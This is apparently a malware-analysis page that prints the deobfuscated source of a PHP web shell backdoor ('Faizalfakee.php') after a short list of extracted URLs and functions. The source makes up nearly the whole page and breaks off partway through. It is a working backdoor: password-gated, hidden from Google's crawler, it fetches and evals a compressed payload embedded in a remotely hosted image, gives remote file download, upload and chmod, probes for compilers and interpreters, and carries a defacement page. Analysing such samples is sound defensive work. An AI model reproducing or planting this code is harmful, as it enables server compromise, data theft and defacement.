PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
base64_encode
URLs
http://oi58.tinypic.com/2u8fmnn.jpg
http://oi58.tinypic.com/10r33mq.jpg
https://e.top4top.io/m_19768wlyd0.mp3
http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1
https://image.ibb.co/ct3Zrn/indonesia_icon.png
http://oi58.tinypic.com/10r33mq.jpg
http://oi60.tinypic.com/in74pi.jpg
http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur
http://oi58.tinypic.com/2u8fmnn.jpg
http://oi58.tinypic.com/10r33mq.jpg
http://www.security-exploded.org/search/label/Exploded
http://milw0rm.com/search.php?dong=
http://exploit-db.com/search/?action=search&filter_description=
http://www.google.com/search?q=
http://www.dnsstuff.com/tools?runFromMain=
http://oi58.tinypic.com/10r33mq.jpg
http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur
http://twitter.com/Port22_Exploded
http://www.some-code/exploits.c
http://www
http://www.zone-h.com/notify/single
http://oi58.tinypic.com/2u8fmnn.jpg
http://www.clker.com/cliparts/W/q/D/p/e/7/small-red-heart-with-transparent-background-hi.png
Emails
Ifa14815@gmail.com
Execution
system
eval
exec
passthru
shell_exec
Input
_GET
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<?php

@ini_set('output_buffering', 0);
//
//@ini_set('display_errors', 0); //
//@ini_set('error_reporting', 0); //
/*
##################################################### 
##    Name    : Faizalfakee.php            ## 
##    Version : v1.5 Mini                          ## 
##    Author  : Faizalfakee    ## 
##    Contact : Ifa14815@gmail.com              ##       
#####################################################
*/
$pass = "3776ae7a24f461c33aa4e60a8e43eda9";
// Password Encrypted By MD5, pass is:" faizalfakee "
$title = "Faizalfakee.php";
// Title
$color = "white";
// Color
$background = "http://oi58.tinypic.com/2u8fmnn.jpg";
// Background
$logo = "http://oi58.tinypic.com/10r33mq.jpg";
// Logo
$music = "https://e.top4top.io/m_19768wlyd0.mp3";
$script_deface = "<html><head><title>Touched By Faizalfakee</title></head><body>Touched By Faizalfakee  <br> My Friends : LEXUSFAKEE - MR.R07 - BABI NGEPET - UNKNOWNEXPLOIT - KENZO X DEMONS - SADBOY REMBTUK343    |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>";
eval /* PHPDeobfuscator eval output */ {
    $xName = "Security Exploded";
    $versi = "v1.5 Mini";
    // Shell Version
    $default_action = 'FilesMan';
    @define('SELF_PATH', "/var/www/html/input.php");
    if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
    $indo = file_get_contents("https://image.ibb.co/ct3Zrn/indonesia_icon.png");
    @session_start();
    @error_reporting(0);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @ini_set('output_buffering', 0);
    @ini_set('display_errors', 0);
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);
    @define('VERSION', '2.1');
    eval(gzinflate(substr($indo, 1934)));
    if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
    }
    function printLogin()
    {
        ?><html><head>
<link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg">
<title>Security Exploded</title>
</head>
<body>
<style type="text/css">
body { background-color:transparan;background:#000;background-image: url("http://oi60.tinypic.com/in74pi.jpg");background-position: center;  background-attachment: fixed;background-repeat: repeat; } 
.tabnez{ margin:30px auto 0 auto;border: 1px solid #333333; color: grey; 
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;}
body,td,th {font-family: Verdana;font-size: 12px;color: grey;font-weight: bold;}
input {BORDER-RIGHT:grey 1px solid;BORDER-TOP:grey 1px solid;BORDER-LEFT:grey 1px solid;BORDER-BOTTOM: grey 1px solid;BACKGROUND-COLOR: #111111;COLOR: grey;font: 8pt Verdana;}
</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>

<img src="http://oi58.tinypic.com/2u8fmnn.jpg" title="./Port22" style="float:left" alt="Exploded" height='250' width='700'/>
<br><br><br><br><br><br><br><br><br><center>
<table>
<form method='post'>
<tr>
<td><img src='http://oi58.tinypic.com/10r33mq.jpg' class="tabnez"  height='20' width='24'></td>
<td><input class="tabnez" type="password" name="pass" placeholder="Password"></td>
<td><input class="tabnez" type="submit" value="Login !"></td>
</tr>
</form>
</table>
</body>
</html>
    <?php 
        break;
    }
    if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
        if (empty($pass) || isset($_POST['pass']) && md5($_POST['pass']) == $pass) {
            $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
        } else {
            printLogin();
        }
    }
    @ini_set('log_errors', 0);
    @ini_set('display_errors', 0);
    @ini_set('output_buffering', 0);
    @ini_set('file_uploads', 1);
    if (isset($_GET['dl']) && $_GET['dl'] != "") {
        $file = $_GET['dl'];
        $filez = @file_get_contents($file);
        header("Content-type: application/octet-stream");
        header("Content-length: " . strlen($filez));
        header("Content-disposition: attachment; filename=\"" . basename($file) . "\";");
        echo $filez;
        exit;
    } elseif (isset($_GET['dlgzip']) && $_GET['dlgzip'] != "") {
        $file = $_GET['dlgzip'];
        $filez = gzencode(@file_get_contents($file));
        header("Content-Type:application/x-gzip\n");
        header("Content-length: " . strlen($filez));
        header("Content-disposition: attachment; filename=\"" . basename($file) . ".gz\";");
        echo $filez;
        exit;
    }
    // view image
    if (isset($_GET['img'])) {
        @ob_clean();
        $d = magicboom($_GET['y']);
        $f = $_GET['img'];
        $inf = @getimagesize($d . $f);
        $ext = explode($f, ".");
        $ext = $ext[count($ext) - 1];
        @header("Content-type: " . $inf["mime"]);
        @header("Cache-control: public");
        @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
        @header("Cache-control: max-age=604800");
        @readfile($d . $f);
        exit;
    }
    //php info
    $phpinfo = "?&amp;x=phpinfo";
    // Server software
    $software = getenv("SERVER_SOFTWARE");
    // CMD
    $cmdbox = "help";
    // Server Port
    $serverport = $_SERVER["SERVER_PORT"];
    // Backdoor Name
    $backdoor_name = "{$title} ";
    // check safemode
    if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
        $safemode = TRUE;
    } else {
        $safemode = FALSE;
    }
    // uname -a
    $system = @php_uname();
    // detector
    function showstat($stat)
    {
        if ($stat == "on") {
            return "<b><font style='color:#00FF00'>ON</font></b>";
        } else {
            return "<b><font style='color:#ff0000'>OFF</font></b>";
        }
    }
    function testmysql()
    {
        if (function_exists('mysql_connect')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testcurl()
    {
        if (function_exists('curl_version')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testwget()
    {
        if (exe('wget --help')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testoracle()
    {
        if (function_exists('ocilogon')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testmssql()
    {
        if (function_exists('mssql_connect')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testperl()
    {
        if (exe('perl -h')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testpython()
    {
        if (exe('python -h')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testruby()
    {
        if (exe('ruby -h')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testgcc()
    {
        if (exe('gcc --help')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    function testjava()
    {
        if (exe('java -h')) {
            return showstat("on");
        } else {
            return showstat("off");
        }
    }
    // check os
    if (strtolower(substr($system, 0, 3)) == "win") {
        $win = TRUE;
    } else {
        $win = FALSE;
    }
    // change directory
    if (isset($_GET['y'])) {
        if (@is_dir($_GET['view'])) {
            $pwd = $_GET['view'];
            @chdir($pwd);
        } else {
            $pwd = $_GET['y'];
            @chdir($pwd);
        }
    }
    //hdd
    function convertByte($s)
    {
        if ($s <= 0) {
            return 0;
        }
        $w = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
        $e = floor(log($s) / log(1024));
        return sprintf('%.2f ' . $w[$e], $s / pow(1024, floor($e)));
    }
    //
    // username, id, shell prompt and working directory
    if (!$win) {
        if (!($user = rapih(exe("whoami")))) {
            $user = "";
        }
        if (!($id = rapih(exe("id")))) {
            $id = "";
        }
        $prompt = $user . " \$ ";
        $pwd = @getcwd() . DIRECTORY_SEPARATOR;
    } else {
        $user = @get_current_user();
        $id = $user;
        $prompt = $user . " &gt;";
        $pwd = realpath(".") . "\\";
        // find drive letters
        $v = explode("\\", $d);
        $v = $v[0];
        foreach (range("A", "Z") as $letter) {
            $bool = @is_dir($letter . ":\\");
            if ($bool) {
                $letters .= "<a href=\"?y=" . $letter . ":\\\">[ ";
                if ($letter . ":" != $v) {
                    $letters .= $letter;
                } else {
                    $letters .= "<span class=\"gaya\">" . $letter . "</span>";
                }
                $letters .= " </a>] ";
            }
        }
    }
    function getrealip()
    {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($SERVER['HTTP_X_FORWARDED_FOR'])) {
            //TO CHEK IP IS PASS FROM PROXY
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    function showdisablefunctions()
    {
        if ($disablefunc = @ini_get("disable_functions")) {
            return "<span style='color:#ff0000'><b>" . $disablefunc . "</b></span>";
        } else {
            return "<span style='color:#00FF00'><b>NONE</b></span>";
        }
    }
    if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) {
        $posix = TRUE;
    } else {
        $posix = FALSE;
    }
    // server ip
    $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
    // your ip ;-)
    $my_ip = $_SERVER['REMOTE_ADDR'];
    $admin_id = $_SERVER['SERVER_ADMIN'];
    $bindport = "13123";
    $bindport_pass = "exploded";
    // Security Exploded
    $uplink = "http://www.security-exploded.org/search/label/Exploded Shell Backdoor";
    //wilworm
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $millink = 'http://milw0rm.com/search.php?dong=';
    if (strpos('Linux', $kernel) !== false) {
        $millink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
    } else {
        $millink .= urlencode($kernel . ' ' . substr($release, 0, 3));
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    // Exploit-db
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    if (strpos('Linux', $kernel) !== false) {
        $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
    } else {
        $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    // separate the working direcotory
    $pwds = explode(DIRECTORY_SEPARATOR, $pwd);
    $pwdurl = "";
    for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
        $pathz = "";
        for ($j = 0; $j <= $i; $j++) {
            $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
        }
        $pwdurl .= "<a href=\"?y=" . $pathz . "\">" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
    }
    // Rename file or folder
    if (isset($_POST['Rename'])) {
        $old = $_POST['oldname'];
        $new = $_POST['newname'];
        @Rename($pwd . $old, $pwd . $new);
        $file = $pwd . $new;
    }
    if (isset($_POST['uploadcompt'])) {
        if (is_uploaded_file($_FILES['file']['tmp_name'])) {
            $path = magicboom($_POST['path']);
            $fname = $_FILES['file']['name'];
            $tmp_name = $_FILES['file']['tmp_name'];
            $pindah = $path . $fname;
            $stat = @move_uploaded_file($tmp_name, $pindah);
        }
    }
    if ($_POST['_upl'] == "Upload") {
        if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
            echo "";
        } else {
            echo "";
        }
    }
    if (isset($_POST['Chmod'])) {
        $name = $_POST['name'];
        $value = $_POST['newvalue'];
        if (strlen($value) == 3) {
            $value = "0" . $value;
        }
        @Chmod($pwd . $name, octdec($value));
        $file = $pwd . $name;
    }
    if (isset($_POST['Chmod_folder'])) {
        $name = $_POST['name'];
        $value = $_POST['newvalue'];
        if (strlen($value) == 3) {
            $value = "0" . $value;
        }
        @Chmod($pwd . $name, octdec($value));
        $file = $pwd . $name;
    }
    //////////////////////////////////
    // print useful info
    $buff = "Shell Backdoor : <b><font style='color:{$color}'> {$backdoor_name} {$versi}</font><b> <span class=\"gaya\"></a></b></b></font><b><span class=\"gaya\"> | </span><a href='{$uplink}' title='Search Shell Backdoor From Security Exploded' target='_blank'><font style='color:#ff0000'>[ Security Exploded ]</a></b></font><br>Version : <b><font style='color:{$color}'>" . $versi . "</font></a></b><br> Software : <b>" . $software . "</b><br />";
    $buff .= "System OS : <b>" . $system . "  | <a href='http://www.google.com/search?q=" . urlencode(@php_uname()) . "' title='Search System OS From Google' target='_blank'><font style='color:#ff0000'>[ Google ]</font></a> | <a href='" . $millink . "' title='Search Karnel From Milw0rm' target=_blank><font style='color:#ff0000'>[ Milw0rm ]</font></a> | <a href='" . $explink . "' title='Search Karnel From Exploit-db' target=_blank><font style='color:#ff0000'>[ Exploit-db ]</font></a></b><br />";
    if ($id != "") {
        $buff .= "ID : <b>" . $id . "</b><br />";
    }
    $buff .= "PHP Version : <b>" . phpversion() . "</b> ON <b>" . php_sapi_name() . "<span class=\"gaya\"> | </span><a href='{$phpinfo}' title='PHP Info'><font style='color:#ff0000'>[ PHP Info ]</font></a> </b><br />";
    $buff .= "Server IP : <b><font style='color:#ff0000'>" . $server_ip . "</font></b> <span class=\"gaya\"> | </span> Port Server : <b><font style='color:#ff0000'>" . $serverport . "</font></b><span class=\"gaya\"> | </span> Your IP Surving : <b><a href='http://www.dnsstuff.com/tools?runFromMain=" . getrealip() . "&toolType=traceroute' title='Traceroute Your IP' target='_blank'><font style='color:#ff0000'>" . getrealip() . "<font></a></b><span class=\"gaya\"> | </span> Admin : <b>" . $admin_id . "</b><br />";
    $buff .= "Free Disk: <font style='color:#ff0000'><b>" . convertByte(disk_free_space("/")) . " <span class=\"gaya\"> / </span> " . convertByte(disk_total_space("/")) . "</b></font></span><br />";
    if ($safemode) {
        $buff .= "Safemode: <span class=\"gaya\"><font style='color:#ff0000'><b>ON</b></font></span><br />";
    } else {
        $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
    }
    $buff .= "Disable Functions: " . showdisablefunctions() . "<br />";
    $buff .= "MySQL: " . testmysql() . "&nbsp;&nbsp;|&nbsp;&nbsp;MSSQL: " . testmssql() . "&nbsp;&nbsp;|&nbsp;&nbsp;Oracle: " . testoracle() . "&nbsp;&nbsp;|&nbsp;&nbsp;Perl: " . testperl() . "&nbsp;&nbsp;|&nbsp;&nbsp;Python: " . testpython() . "&nbsp;&nbsp;|&nbsp;&nbsp;Ruby: " . testruby() . "&nbsp;&nbsp;|&nbsp;&nbsp;Java: " . testjava() . "&nbsp;&nbsp;|&nbsp;&nbsp;GCC: " . testgcc() . "&nbsp;&nbsp;|&nbsp;&nbsp;cURL: " . testcurl() . "&nbsp;&nbsp;|&nbsp;&nbsp;WGet: " . testwget() . "<br>";
    $buff .= "<font color=00ff00 >Drive : <b>" . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl . "</b></font>";
    function rapih($text)
    {
        return trim(str_replace("<br />", "", $text));
    }
    function magicboom($text)
    {
        if (!get_magic_quotes_gpc()) {
            return $text;
        }
        return stripslashes($text);
    }
    function showdir($pwd, $prompt)
    {
        $fname = array();
        $dname = array();
        if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) {
            $posix = TRUE;
        } else {
            $posix = FALSE;
        }
        $user = "????:????";
        if ($dh = @scandir($pwd)) {
            foreach ($dh as $file) {
                if (is_dir($file)) {
                    $dname[] = $file;
                } elseif (is_file($file)) {
                    $fname[] = $file;
                }
            }
        } else {
            if ($dh = @opendir($pwd)) {
                while ($file = @readdir($dh)) {
                    if (@is_dir($file)) {
                        $dname[] = $file;
                    } elseif (@is_file($file)) {
                        $fname[] = $file;
                    }
                }
                @closedir($dh);
            }
        }
        sort($fname);
        sort($dname);
        $path = @explode(DIRECTORY_SEPARATOR, $pwd);
        $tree = @sizeof($path);
        $parent = "";
        $buff = "<center>\n    <form action=\"?y=" . $pwd . "&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">\n    <table class=\"cmdbox\" style=\"width:45%;\">\n    <tr><td><b>{$prompt}</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=help /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>\n    </form>\n    <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">\n    <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\n    <tr><td><b>View </b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"" . $pwd . "\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr></center>\n    \n    </form></table><br><table class=\"explore\">\n    <tr><th>Name</th><th style=\"width:80px;\">Size</th><th style=\"width:210px;\">Owner:Group</th><th style=\"width:80px;\">Perms</th><th style=\"width:110px;\">Modified</th><th style=\"width:190px;\">Actions</th></tr>\n    ";
        if ($tree > 2) {
            for ($i = 0; $i < $tree - 2; $i++) {
                $parent .= $path[$i] . DIRECTORY_SEPARATOR;
            }
        } else {
            $parent = $pwd;
        }
        foreach ($dname as $folder) {
            if ($folder == ".") {
                if (!$win && $posix) {
                    $name = @posix_getpwuid(@fileowner($folder));
                    $group = @posix_getgrgid(@filegroup($folder));
                    $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
                } else {
                    $owner = $user;
                }
                $buff .= "<tr><td><a href=\"?y=" . $pwd . "\">{$folder}</a></td><td>-</td>\n            <td style=\"text-align:center;\">" . $owner . "</td><td><center>" . get_perms($pwd) . "</center></td>\n            <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">\n            <a href=\"?y={$pwd}&amp;edit=" . $pwd . "newfile.php\">New File</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">New Folder</a> | <a href=\"javascript:tukar('titik1','titik4_form');\">Upload</a></span>\n            <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n            <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\n            <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />\n            <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />\n            </form>\n            <form action=\"\" id=\"titik4_form\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n            <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\n            <input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>\n            <input class=\"inputzbut\" name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"/>\n            <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" \n            onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" />\n            </form></td>\n            \n            </tr>\n            ";
            } elseif ($folder == "..") {
                if (!$win && $posix) {
                    $name = @posix_getpwuid(@fileowner($folder));
                    $group = @posix_getgrgid(@filegroup($folder));
                    $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
                } else {
                    $owner = $user;
                }
                $buff .= "<tr><td><a href=\"?y=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'></a></td><td>-</td>\n            <td style=\"text-align:center;\">" . $owner . "</td>\n            <td><center>" . get_perms($parent) . "</center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>\n            <td><span id=\"titik2\"><a href=\"?y={$pwd}&amp;edit=" . $parent . "newfile.php\">New File</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">New Folder</a> | <a href=\"javascript:tukar('titik2','titik3_form');\">Upload</a></span>\n            <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n            <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\n            <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />\n            <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />\n            </form>\n            <form action=\"\" id=\"titik3_form\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n            <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\n            <input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>\n            <input class=\"inputzbut\" name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"/>\n            <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" \n            onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" />\n            </form>\n            </td></tr>";
            } else {
                if (!$win && $posix) {
                    $name = @posix_getpwuid(@fileowner($folder));
                    $group = @posix_getgrgid(@filegroup($folder));
                    $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
                } else {
                    $owner = $user;
                }
                $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />  [ {$folder} ]</b></a>\n            <form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n            <input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />\n            <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />\n            <input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />\n            <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />\n            </form><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td>\n            <td><center>\n            <a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>\n            <form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \n            <input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> \n            <input class=\"inputz\" style=\"width:150px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" /> \n            <input class=\"inputzbut\" type=\"submit\" name=\"Chmod_folder\" value=\"Chmod\" /> \n            <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" \n            onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td>\n            <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td>\n            <td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">Rename</a> | <a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form4');\">Upload</a> | <a href=\"?y={$pwd}&amp;fdelete=" . $pwd . $folder . "\">Delete</a></span>\n            <form action=\"\" id=\"" . clearspace($folder) . "_form4\" method=\"post\" enctype=\"multipart/form-data\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\n            <input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" />\n            <input class=\"inputz\" type=\"file\" name=\"file\" size=\"20\"/><br>\n            <input class=\"inputz\" name=\"path\" type=\"text\" size=\"33\" value=\"" . $pwd . $folder . DIRECTORY_SEPARATOR . "\" /><br>\n            <input class=\"inputzbut\" name=\"uploadcompt\" type=\"submit\" value=\"Upload\"/>\n            <input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" \n            onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form4');\" />\n            </form>\n            </td></tr>";
            }
        }
        foreach ($fname as $file) {
            $full = $pwd . $file;
            if (!$win && $posix) {
                $name = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
